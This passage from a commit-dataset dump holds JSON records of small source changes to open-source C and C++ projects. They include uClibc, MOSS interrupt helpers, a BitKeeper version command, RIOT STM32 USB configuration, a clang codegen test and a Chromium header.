__always_inline to inline until gcc 4.x.x will get\nfixed.\n\nSigned-off-by: Carmelo Amoroso <532378793705a04edd56deb76ad8c0442834d55d@st.com>\n\n","lang":"C","license":"lgpl-2.1","repos":"hjl-tools\/uClibc,kraj\/uClibc,waweber\/uclibc-clang,foss-xtensa\/uClibc,atgreen\/uClibc-moxie,OpenInkpot-archive\/iplinux-uclibc,gittup\/uClibc,kraj\/uClibc,m-labs\/uclibc-lm32,mephi42\/uClibc,groundwater\/uClibc,atgreen\/uClibc-moxie,OpenInkpot-archive\/iplinux-uclibc,ysat0\/uClibc,brgl\/uclibc-ng,ysat0\/uClibc,ndmsystems\/uClibc,groundwater\/uClibc,mephi42\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,groundwater\/uClibc,foss-xtensa\/uClibc,hwoarang\/uClibc,majek\/uclibc-vx32,hjl-tools\/uClibc,atgreen\/uClibc-moxie,hjl-tools\/uClibc,groundwater\/uClibc,OpenInkpot-archive\/iplinux-uclibc,brgl\/uclibc-ng,m-labs\/uclibc-lm32,kraj\/uClibc,skristiansson\/uClibc-or1k,mephi42\/uClibc,brgl\/uclibc-ng,kraj\/uclibc-ng,m-labs\/uclibc-lm32,atgreen\/uClibc-moxie,wbx-github\/uclibc-ng,majek\/uclibc-vx32,majek\/uclibc-vx32,ddcc\/klee-uclibc-0.9.33.2,skristiansson\/uClibc-or1k,foss-for-synopsys-dwc-arc-processors\/uClibc,brgl\/uclibc-ng,OpenInkpot-archive\/iplinux-uclibc,ddcc\/klee-uclibc-0.9.33.2,ddcc\/klee-uclibc-0.9.33.2,foss-for-synopsys-dwc-arc-processors\/uClibc,waweber\/uclibc-clang,skristiansson\/uClibc-or1k,kraj\/uclibc-ng,groundwater\/uClibc,kraj\/uClibc,skristiansson\/uClibc-or1k,kraj\/uclibc-ng,waweber\/uclibc-clang,kraj\/uclibc-ng,mephi42\/uClibc,hwoarang\/uClibc,foss-xtensa\/uClibc,hjl-tools\/uClibc,gittup\/uClibc,ffainelli\/uClibc,ffainelli\/uClibc,czankel\/xtensa-uclibc,ndmsystems\/uClibc,ddcc\/klee-uclibc-0.9.33.2,hjl-tools\/uClibc,ysat0\/uClibc,czankel\/xtensa-uclibc,m-labs\/uclibc-lm32,foss-xtensa\/uClibc,ffainelli\/uClibc,czankel\/xtensa-uclibc,wbx-github\/uclibc-ng,gittup\/uClibc,ysat0\/uClibc,wbx-github\/uclibc-ng,ndmsystems\/uClibc,hwoarang\/uClibc,czankel\/xtensa-uclibc,ffainelli\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ffainelli\/uClibc,hwoarang\/uClibc,ndmsystems\/uClibc,waweber\/uclibc-clang,wbx-github\/uclibc-ng,gittup\/uClibc,majek\/uclibc-vx32"}
{"commit":"3a80b2f52f5d1e9466b378124d6ebb638734270e","old_file":"source\/x86\/source_moss\/kernel\/interrupt\/misc.h","new_file":"source\/x86\/source_moss\/kernel\/interrupt\/misc.h","old_contents":"#pragma once\r\n\r\n#include \"..\/..\/includes.h\"\r\n\r\n\r\nnamespace MOSS { namespace Interrupts {\r\n\r\n\r\nvoid disable_hw_int(void) {\r\n\t__asm__ __volatile__(\"cli\");\r\n}\r\nvoid enable_hw_int(void) {\r\n\t__asm__ __volatile__(\"sti\");\r\n}\r\n\r\n\/*void fire(int n) {\r\n\t\/\/Adapted from http:\/\/www.brokenthorn.com\/Resources\/OSDev15.html\r\n\t\/\/Self-modifying code!\r\n\tasm(\r\n\t\"\tmovb  al, [%0]\"\r\n\t\"\tmovb  [genint+1], al\"\r\n\t\"\tjmp   genint\"\r\n\t\"genint:\"\r\n\t\"\tint   0\"\r\n\t: \/\/out\r\n\t:\"n\"(n) \/\/in\r\n\t:\"%al\" \/\/clobbered\r\n\t);\r\n}*\/\r\nvoid fire_int13h(void) {\r\n\t__asm__ __volatile__(\"int  $0x13\");\r\n}\r\n\r\n\r\n}}\r\n","new_contents":"#pragma once\r\n\r\n#include \"..\/..\/includes.h\"\r\n\r\n\r\nnamespace MOSS { namespace Interrupts {\r\n\r\n\r\ninline void disable_hw_int(void) {\r\n\t__asm__ __volatile__(\"cli\");\r\n}\r\ninline void enable_hw_int(void) {\r\n\t__asm__ __volatile__(\"sti\");\r\n}\r\n\r\n\/*inline void fire(int n) {\r\n\t\/\/Adapted from http:\/\/www.brokenthorn.com\/Resources\/OSDev15.html\r\n\t\/\/Self-modifying code!\r\n\tasm(\r\n\t\"\tmovb  al, [%0]\"\r\n\t\"\tmovb  [genint+1], al\"\r\n\t\"\tjmp   genint\"\r\n\t\"genint:\"\r\n\t\"\tint   0\"\r\n\t: \/\/out\r\n\t:\"n\"(n) \/\/in\r\n\t:\"%al\" \/\/clobbered\r\n\t);\r\n}*\/\r\ninline void fire_int13h(void) {\r\n\t__asm__ __volatile__(\"int  $0x13\");\r\n}\r\n\r\n\r\n}}\r\n","subject":"Make a few things `inline`.","message":"Make a few things `inline`.\n","lang":"C","license":"mit","repos":"imallett\/MOSS,imallett\/MOSS,imallett\/MOSS,imallett\/MOSS"}
{"commit":"2b42cc5ae4eba734498484d54e898a9925bea45e","old_file":"src\/zt_path.h","new_file":"src\/zt_path.h","old_contents":"\/*!\n * Filename: zt_path.h\n * Description: path utils\n *\n * Author: Jason L. Shiffer <jshiffer@zerotao.org>\n * Copyright:\n *      Copyright (C) 2010-2011, Jason L. Shiffer.\n *      See file COPYING for details\n *\/\n\n#ifndef _ZT_PATH_\n#define _ZT_PATH_\n\n#ifdef HAVE_SYS_STAT_H\n# include <sys\/stat.h>\n#endif \/* HAVE_SYS_STAT_H *\/\n\n#include <zt.h>\n\nBEGIN_C_DECLS\n\ntypedef enum {\n    zt_mkdir_create_parent = 1,\n}zt_mkdir_flags;\n\nint zt_mkdir(char * path, mode_t mode, zt_mkdir_flags flags);\n\n\nEND_C_DECLS\n\n#endif \/* _ZT_PATH_ *\/\n","new_contents":"\/*!\n * Filename: zt_path.h\n * Description: path utils\n *\n * Author: Jason L. Shiffer <jshiffer@zerotao.org>\n * Copyright:\n *      Copyright (C) 2010-2011, Jason L. Shiffer.\n *      See file COPYING for details\n *\/\n\n#ifndef _ZT_PATH_\n#define _ZT_PATH_\n\n#ifdef HAVE_SYS_STAT_H\n# include <sys\/stat.h>\n# else\n  typedef unsigned int mode_t;\n#endif \/* HAVE_SYS_STAT_H *\/\n\n#include <zt.h>\n\nBEGIN_C_DECLS\n\ntypedef enum {\n    zt_mkdir_create_parent = 1,\n}zt_mkdir_flags;\n\nint zt_mkdir(char * path, mode_t mode, zt_mkdir_flags flags);\n\n\nEND_C_DECLS\n\n#endif \/* _ZT_PATH_ *\/\n","subject":"Add mode_t typedef when missing","message":"Add mode_t typedef when missing\n","lang":"C","license":"mit","repos":"zerotao\/libzt,zerotao\/libzt,zerotao\/libzt,zerotao\/libzt"}
{"commit":"5d23eae107c60bd48fb495950ea6da7d2176e4c0","old_file":"src\/version.c","new_file":"src\/version.c","old_contents":"#include \"system.h\"\n#include \"sccs.h\"\n#include \"logging.h\"\n\nextern\tint\ttest_release;\nextern\tunsigned build_timet;\n\nint\nversion_main(int ac, char **av)\n{\n\tchar buf[100];\n\tfloat\texp;\n\n\tif (ac == 2 && streq(\"--help\", av[1])) {\n\t\tsystem(\"bk help version\");\n\t\treturn (0);\n\t}\n\n\tif (sccs_cd2root(0, 0) == -1) {\n\t\tgetMsg(\"version\", \" \", 0, 0, stdout);\n\t\treturn (0);\n\t}\n\tgetMsg(\"version\", bk_model(buf, sizeof(buf)), 0, 0, stdout);\n\tif (test_release) {\n\t\texp = ((time_t)build_timet - time(0)) \/ (24*3600.0) + 14;\n\t\tif (exp > 0) {\n\t\t\tprintf(\"Expires in: %.1f days (test release).\\n\", exp);\n\t\t} else {\n\t\t\tprintf(\"Expired (test release).\\n\");\n\t\t}\n\t}\n\treturn (0);\n}\n","new_contents":"#include \"system.h\"\n#include \"sccs.h\"\n#include \"logging.h\"\n\nextern\tint\ttest_release;\nextern\tunsigned build_timet;\n\nint\nversion_main(int ac, char **av)\n{\n\tchar buf[100];\n\tfloat\texp;\n\n\tif (ac == 2 && streq(\"--help\", av[1])) {\n\t\tsystem(\"bk help version\");\n\t\treturn (0);\n\t}\n\tlease_check(0);\t\/* disable lease check *\/\n\tif (sccs_cd2root(0, 0) == -1) {\n\t\tgetMsg(\"version\", \" \", 0, 0, stdout);\n\t\treturn (0);\n\t}\n\tgetMsg(\"version\", bk_model(buf, sizeof(buf)), 0, 0, stdout);\n\tif (test_release) {\n\t\texp = ((time_t)build_timet - time(0)) \/ (24*3600.0) + 14;\n\t\tif (exp > 0) {\n\t\t\tprintf(\"Expires in: %.1f days (test release).\\n\", exp);\n\t\t} else {\n\t\t\tprintf(\"Expired (test release).\\n\");\n\t\t}\n\t}\n\treturn (0);\n}\n","subject":"Add some minor cleanups to the lease code.","message":"Add some minor cleanups to the lease code.\n\nbk: 3ea98875Om5jc1nUdXM9io0xhbkArA","lang":"C","license":"apache-2.0","repos":"bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper"}
{"commit":"98c01545822d41366efc6d0af96dbdc6a4ec75e7","old_file":"src\/theft_call_internal.h","new_file":"src\/theft_call_internal.h","old_contents":"#ifndef THEFT_CALL_INTERNAL_H\n#define THEFT_CALL_INTERNAL_H\n\n#include \"theft_call.h\"\n#include \"theft_bloom.h\"\n#include <assert.h>\n\n#include <unistd.h>\n#include <sys\/wait.h>\n#include <poll.h>\n#include <signal.h>\n#include <errno.h>\n\nstatic enum theft_trial_res\ntheft_call_inner(struct theft_run_info *run_info, void **args);\n\nstatic enum theft_trial_res\nparent_handle_child_call(struct theft_run_info *run_info,\n    pid_t pid, int fd);\n\n#endif\n","new_contents":"#ifndef THEFT_CALL_INTERNAL_H\n#define THEFT_CALL_INTERNAL_H\n\n#include \"theft_call.h\"\n#include \"theft_bloom.h\"\n#include <assert.h>\n\n#include <unistd.h>\n#include <sys\/wait.h>\n#include <sys\/types.h>\n#include <poll.h>\n#include <signal.h>\n#include <errno.h>\n\nstatic enum theft_trial_res\ntheft_call_inner(struct theft_run_info *run_info, void **args);\n\nstatic enum theft_trial_res\nparent_handle_child_call(struct theft_run_info *run_info,\n    pid_t pid, int fd);\n\n#endif\n","subject":"Add `sys\/types.h` include for `pid_t`.","message":"Add `sys\/types.h` include for `pid_t`.\n","lang":"C","license":"isc","repos":"silentbicycle\/theft"}
{"commit":"01bf9c3502d0292abb5cbe54af6b787ce17a660d","old_file":"src\/win32\/auth_file_win.c","new_file":"src\/win32\/auth_file_win.c","old_contents":"","new_contents":"\/*\n*The MIT License (MIT)\n*\n* Copyright (c) <2017> <Stephan Gatzka>\n*\n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and\/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n*\n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.\n*\/\n\n#include <stddef.h>\n#include \"json\/cJSON.h\"\n\nconst cJSON *credentials_ok(const char *user_name, char *passwd)\n{\n\treturn NULL;\n}\n\ncJSON *change_password(const struct peer *p, const cJSON *request, const char *user_name, char *passwd)\n{\n\treturn NULL;\n}","subject":"Add stub for windows file authentication implementation.","message":"Add stub for windows file authentication implementation.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet"}
{"commit":"c45ae4a7d8a7e637ef7e344139b727ab12e9cca7","old_file":"nwg_common_socket_include.h","new_file":"nwg_common_socket_include.h","old_contents":"#ifndef NWG_COMMON_SOCKET_INCLUDE_H_\n#define NWG_COMMON_SOCKET_INCLUDE_H_\n\n#ifdef __unix__\n#include <netinet\/in.h>\n#include <sys\/socket.h>\n#endif \/* __unix__ *\/\n\n#ifdef _WIN32\n#include <winsock2.h>\n#include <windows.h>\ntypedef int socklen_t;\n\n#undef FD_SETSIZE\n#define FD_SETSIZE 2048\n#endif \/* _WIN32 *\/\n\n#include <fcntl.h>\n#include <unistd.h>\n\n#endif \/* NWG_COMMON_SOCKET_INCLUDE_H_ *\/\n","new_contents":"#ifndef NWG_COMMON_SOCKET_INCLUDE_H_\n#define NWG_COMMON_SOCKET_INCLUDE_H_\n\n#if !defined(__unix__) && (defined(__APPLE__) && defined(__MACH__))\n#define __unix__ 1\n#endif\n\n#ifdef __unix__\n#include <netinet\/in.h>\n#include <sys\/socket.h>\n#endif \/* __unix__ *\/\n\n#ifdef _WIN32\n#include <winsock2.h>\n#include <windows.h>\ntypedef int socklen_t;\n\n#undef FD_SETSIZE\n#define FD_SETSIZE 2048\n#endif \/* _WIN32 *\/\n\n#include <fcntl.h>\n#include <unistd.h>\n\n#endif \/* NWG_COMMON_SOCKET_INCLUDE_H_ *\/\n","subject":"Add macro to identify apple mac os x as unix","message":"Add macro to identify apple mac os x as unix\n","lang":"C","license":"mit","repos":"ynov\/nwg,ynov\/nwg"}
{"commit":"fa33394bb70481412493fcf40d53ebdb2e738058","old_file":"test\/CodeGen\/ffp-contract-option.c","new_file":"test\/CodeGen\/ffp-contract-option.c","old_contents":"\/\/ RUN: %clang_cc1 -O3 -ffp-contract=fast -triple=powerpc-apple-darwin10 -S -o - %s | FileCheck %s\n\/\/ REQUIRES: powerpc-registered-target\n\nfloat fma_test1(float a, float b, float c) {\n\/\/ CHECK: fmadds\n  float x = a * b;\n  float y = x + c;\n  return y;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -O3 -ffp-contract=fast -triple=aarch64-apple-darwin -S -o - %s | FileCheck %s\n\/\/ REQUIRES: aarch64-registered-target\n\nfloat fma_test1(float a, float b, float c) {\n\/\/ CHECK: fmadd\n  float x = a * b;\n  float y = x + c;\n  return y;\n}\n","subject":"Change -ffp-contract=fast test to run on Aarch64","message":"Change -ffp-contract=fast test to run on Aarch64\n\n(I don't have powerpc enabled in my build and I am changing\nhow -ffp-contract=fast works.)\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@298468 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"3949c3ba8cec129241ce6c47534f417d619c34e3","old_file":"ios\/OAuthManager\/OAuthManager.h","new_file":"ios\/OAuthManager\/OAuthManager.h","old_contents":"\/\/\n\/\/  OAuthManager.h\n\/\/\n\/\/  Created by Ari Lerner on 5\/31\/16.\n\/\/  Copyright © 2016 Facebook. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#if __has_include(<React\/RCTBridgeModule.h>)\n  #import <React\/RCTBridgeModule.h>\n#else\n  #import \"RCTBridgeModule.h\"\n#endif\n\n#if __has_include(\"RCTLinkingManager.h\")\n    #import \"RCTLinkingManager.h\"\n#else\n    #import <React\/RCTLinkingManager.h>\n#endif\n\n\n\n@class OAuthClient;\n\nstatic NSString *kAuthConfig = @\"OAuthManager\";\n\n@interface OAuthManager : NSObject <RCTBridgeModule, UIWebViewDelegate>\n\n+ (instancetype) sharedManager;\n+ (BOOL)setupOAuthHandler:(UIApplication *)application;\n\n+ (BOOL)handleOpenUrl:(UIApplication *)application openURL:(NSURL *)url\n    sourceApplication:(NSString *)sourceApplication annotation:(id)annotation;\n\n- (BOOL) _configureProvider:(NSString *) name andConfig:(NSDictionary *) config;\n- (NSDictionary *) getConfigForProvider:(NSString *)name;\n\n@property (nonatomic, strong) NSDictionary *providerConfig;\n@property (nonatomic, strong) NSArray *callbackUrls;\n\n@end\n","new_contents":"\/\/\n\/\/  OAuthManager.h\n\/\/\n\/\/  Created by Ari Lerner on 5\/31\/16.\n\/\/  Copyright © 2016 Facebook. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#if __has_include(<React\/RCTBridgeModule.h>)\n  #import <React\/RCTBridgeModule.h>\n#else\n  #import \"RCTBridgeModule.h\"\n#endif\n\n#if __has_include(<React\/RCTLinkingManager.h>)\n    #import <React\/RCTLinkingManager.h>\n#else\n    #import \"RCTLinkingManager.h\"\n#endif\n\n\n\n@class OAuthClient;\n\nstatic NSString *kAuthConfig = @\"OAuthManager\";\n\n@interface OAuthManager : NSObject <RCTBridgeModule, UIWebViewDelegate>\n\n+ (instancetype) sharedManager;\n+ (BOOL)setupOAuthHandler:(UIApplication *)application;\n\n+ (BOOL)handleOpenUrl:(UIApplication *)application openURL:(NSURL *)url\n    sourceApplication:(NSString *)sourceApplication annotation:(id)annotation;\n\n- (BOOL) _configureProvider:(NSString *) name andConfig:(NSDictionary *) config;\n- (NSDictionary *) getConfigForProvider:(NSString *)name;\n\n@property (nonatomic, strong) NSDictionary *providerConfig;\n@property (nonatomic, strong) NSArray *callbackUrls;\n\n@end\n","subject":"Fix duplicate React library import error conflict w\/certain pods","message":"Fix duplicate React library import error conflict w\/certain pods\n","lang":"C","license":"mit","repos":"fullstackreact\/react-native-oauth,fullstackreact\/react-native-oauth,fullstackreact\/react-native-oauth"}
{"commit":"1d5cce6d3ac1458119383effedabc27876ab398c","old_file":"A\/02\/09\/task2.c","new_file":"A\/02\/09\/task2.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\n#define MAX_LENGTH 400\n\nchar* find(char*, char);\n\nint main() {\n    \n    char input[MAX_LENGTH], symbol, *found;\n    \n    fgets(input, MAX_LENGTH + 1, stdin);\n    scanf(\"%c\", &symbol);\n    \n    found = find(input, symbol); \n    printf(\"%d\", (int)(found ? found - input : -1));\n    \n    return 0;\n}\n\nchar* find(char *haystack, char needle) {\n    \n    int length = strlen(haystack);\n    \n    for (int i = 0; i < length; i++) {\n        if (haystack[i] == needle) {\n            return &haystack[i];\n        }\n    }\n    \n    return NULL;\n}","subject":"Add Task 02 for Homework 02","message":"Add Task 02 for Homework 02\n","lang":"C","license":"mit","repos":"elsys\/po-homework"}
{"commit":"9feb800985250c12ed35c3934cde0ef00dc3867e","old_file":"drivers\/tty\/serial\/uart\/uart_driver.c","new_file":"drivers\/tty\/serial\/uart\/uart_driver.c","old_contents":"#include <mikoto\/char_driver.h>\n#include <mikoto\/uart.h>\n\nstatic int uart_write(const char *s);\n\nstatic struct char_driver_operations uart_ops = {\n\t.write = uart_write,\n};\n\nstatic struct char_driver uart_driver = {\n\t.name = \"UART\",\n};\n\nvoid uart_init(void)\n{\n\tstruct char_driver *uart = get_uart_driver_instance();\n\tuart->ops = &uart_ops;\n}\n\nstruct char_driver *\nget_uart_driver_instance(void)\n{\n\tif (!uart_driver.ops)\n\t\tuart_init();\n\n\treturn &uart_driver;\n}\n\nstatic int \nuart_write(const char *s)\n{\n\twhile (*s) {\n\t\twhile (*(UART0 + UARTFR) & UARTFR_TXFF)\n\t\t\t;\n\n\t\t*UART0 = *s;\n\t\ts++;\n\t}\n\treturn 0;\n}\n\n","new_contents":"#include <mikoto\/char_driver.h>\n#include <mikoto\/uart.h>\n\nstatic int uart_write(const char *s);\n\nstatic struct char_driver_operations uart_ops = {\n\t.write = uart_write,\n};\n\nstatic struct char_driver uart_driver = {\n\t.name = \"UART\",\n};\n\nstatic void \nuart_init(void)\n{\n\tuart_driver.ops = &uart_ops;\n}\n\nstruct char_driver *\nget_uart_driver_instance(void)\n{\n\tif (!uart_driver.ops)\n\t\tuart_init();\n\n\treturn &uart_driver;\n}\n\nstatic int \nuart_write(const char *s)\n{\n\twhile (*s) {\n\t\twhile (*(UART0 + UARTFR) & UARTFR_TXFF)\n\t\t\t;\n\n\t\t*UART0 = *s;\n\t\ts++;\n\t}\n\treturn 0;\n}\n\n","subject":"Fix circular reference but in uart_init()","message":"Fix circular reference but in uart_init()\n\nDon't call get_uart_driver_instance() from uart_init().\n","lang":"C","license":"bsd-3-clause","repos":"masami256\/mini-arm-kernel"}
{"commit":"1f5340c307e094c62534db260290f4b6044200c2","old_file":"boards\/common\/stm32\/include\/cfg_usb_otg_hs_fs.h","new_file":"boards\/common\/stm32\/include\/cfg_usb_otg_hs_fs.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2019 Koen Zandberg\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup     boards_common_stm32\n * @{\n *\n * @file\n * @brief       Common configuration for STM32 OTG HS peripheral with FS phy\n *\n * @author      Koen Zandberg <koen@bergzand.net>\n *\/\n\n#ifndef CFG_USB_OTG_HS_FS_H\n#define CFG_USB_OTG_HS_FS_H\n\n#include \"periph_cpu.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n * @brief Enable the full speed USB OTG peripheral\n *\/\n#define STM32_USB_OTG_HS_ENABLED\n\n\/**\n * @name common USB OTG FS configuration\n * @{\n *\/\nstatic const stm32_usb_otg_fshs_config_t stm32_usb_otg_fshs_config[] = {\n    {\n        .periph   = (uint8_t *)USB_OTG_HS_PERIPH_BASE,\n        .rcc_mask = RCC_AHB1ENR_OTGHSEN,\n        .phy      = STM32_USB_OTG_PHY_BUILTIN,\n        .type     = STM32_USB_OTG_HS,\n        .irqn     = OTG_HS_IRQn,\n        .ahb      = AHB1,\n        .dm       = GPIO_PIN(PORT_B, 14),\n        .dp       = GPIO_PIN(PORT_B, 15),\n        .af       = GPIO_AF12,\n    }\n};\n\/** @} *\/\n\n\/**\n * @brief Number of available USB OTG peripherals\n *\/\n#define USBDEV_NUMOF           ARRAY_SIZE(stm32_usb_otg_fshs_config)\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* CFG_USB_OTG_HS_FS_H *\/\n\/** @} *\/\n","subject":"Add default config for USB OTG HS peripheral","message":"boards\/stm32: Add default config for USB OTG HS peripheral\n","lang":"C","license":"lgpl-2.1","repos":"jasonatran\/RIOT,smlng\/RIOT,miri64\/RIOT,RIOT-OS\/RIOT,smlng\/RIOT,kaspar030\/RIOT,jasonatran\/RIOT,OlegHahm\/RIOT,kYc0o\/RIOT,kaspar030\/RIOT,OlegHahm\/RIOT,RIOT-OS\/RIOT,smlng\/RIOT,miri64\/RIOT,basilfx\/RIOT,authmillenon\/RIOT,yogo1212\/RIOT,miri64\/RIOT,kaspar030\/RIOT,basilfx\/RIOT,yogo1212\/RIOT,authmillenon\/RIOT,OlegHahm\/RIOT,ant9000\/RIOT,OTAkeys\/RIOT,RIOT-OS\/RIOT,ant9000\/RIOT,OTAkeys\/RIOT,yogo1212\/RIOT,RIOT-OS\/RIOT,yogo1212\/RIOT,OlegHahm\/RIOT,ant9000\/RIOT,jasonatran\/RIOT,jasonatran\/RIOT,jasonatran\/RIOT,OTAkeys\/RIOT,kaspar030\/RIOT,miri64\/RIOT,miri64\/RIOT,smlng\/RIOT,authmillenon\/RIOT,authmillenon\/RIOT,kYc0o\/RIOT,kYc0o\/RIOT,basilfx\/RIOT,ant9000\/RIOT,smlng\/RIOT,kYc0o\/RIOT,OlegHahm\/RIOT,authmillenon\/RIOT,basilfx\/RIOT,ant9000\/RIOT,basilfx\/RIOT,yogo1212\/RIOT,RIOT-OS\/RIOT,kaspar030\/RIOT,authmillenon\/RIOT,kYc0o\/RIOT,yogo1212\/RIOT,OTAkeys\/RIOT,OTAkeys\/RIOT"}
{"commit":"6d1b716753c1cc8a2f5c26338020941aa58ce9d7","old_file":"unknown.c","new_file":"unknown.c","old_contents":"#ifdef NO_PORT\n#include \"mono\/interpreter\/interp.h\"\n\nMonoPIFunc\nmono_create_trampoline (MonoMethod *method)\n{\n\tg_error (\"Unsupported arch\");\n\treturn NULL;\n}\n\nvoid *\nmono_create_method_pointer (MonoMethod *method)\n{\n\tg_error (\"Unsupported arch\");\n\treturn NULL;\n}\n\n#endif\n\n","new_contents":"#ifdef NO_PORT\n#include \"mono\/interpreter\/interp.h\"\n\nMonoPIFunc\nmono_create_trampoline (MonoMethodSignature *sig, gboolean string_ctor)\n{\n\tg_error (\"Unsupported arch\");\n\treturn NULL;\n}\n\nvoid *\nmono_create_method_pointer (MonoMethod *method)\n{\n\tg_error (\"Unsupported arch\");\n\treturn NULL;\n}\n\n#endif\n\n","subject":"Update to the API change of a while ago.","message":"Update to the API change of a while ago.\n\nsvn path=\/trunk\/mono\/; revision=10545\n","lang":"C","license":"bsd-3-clause","repos":"biotrump\/ffts-tec,linkotec\/mono_arch,linkotec\/mono_arch,biotrump\/ffts-tec,linkotec\/mono_arch,biotrump\/ffts-tec,biotrump\/ffts-tec"}
{"commit":"33db8cda15b9aa8004078577063c3ea50c80b102","old_file":"ui\/message_center\/base_format_view.h","new_file":"ui\/message_center\/base_format_view.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n#define UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n\n#include \"ui\/message_center\/message_view.h\"\n#include \"ui\/message_center\/notification_list.h\"\n\nnamespace views {\nclass ImageView;\n}\n\nnamespace message_center {\n\n\/\/ A comprehensive message view.\nclass BaseFormatView : public MessageView {\n public:\n  BaseFormatView(NotificationList::Delegate* list_delegate,\n                 const NotificationList::Notification& notification);\n  virtual ~BaseFormatView();\n\n  \/\/ MessageView\n  virtual void SetUpView() OVERRIDE;\n\n  \/\/ views::ButtonListener\n  virtual void ButtonPressed(views::Button* sender, const ui::Event& event);\n\n protected:\n  BaseFormatView();\n\n  DISALLOW_COPY_AND_ASSIGN(BaseFormatView);\n};\n\n}  \/\/ namespace message_center\n\n#endif \/\/ UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n#define UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n\n#include \"ui\/message_center\/message_view.h\"\n#include \"ui\/message_center\/notification_list.h\"\n\nnamespace views {\nclass ImageView;\n}\n\nnamespace message_center {\n\n\/\/ A comprehensive message view.\nclass BaseFormatView : public MessageView {\n public:\n  BaseFormatView(NotificationList::Delegate* list_delegate,\n                 const NotificationList::Notification& notification);\n  virtual ~BaseFormatView();\n\n  \/\/ MessageView\n  virtual void SetUpView() OVERRIDE;\n\n  \/\/ views::ButtonListener\n  virtual void ButtonPressed(views::Button* sender,\n                             const ui::Event& event) OVERRIDE;\n\n protected:\n  BaseFormatView();\n\n  DISALLOW_COPY_AND_ASSIGN(BaseFormatView);\n};\n\n}  \/\/ namespace message_center\n\n#endif  \/\/ UI_MESSAGE_CENTER_BASE_FORMAT_VIEW_H_\n","subject":"Add a missing override from r167851. Hopefully this unbreaks the CrOS Clang build.","message":"Add a missing override from r167851. Hopefully this unbreaks the CrOS Clang build.\n\nTBR=miket\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@167854 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"dushu1203\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,anirudhSK\/chromium,M4sse\/chromium.src,hujiajie\/pa-chromium,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,Jonekee\/chromium.src,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,patrickm\/chromium.src,timopulkkinen\/BubbleFish,ChromiumWebApps\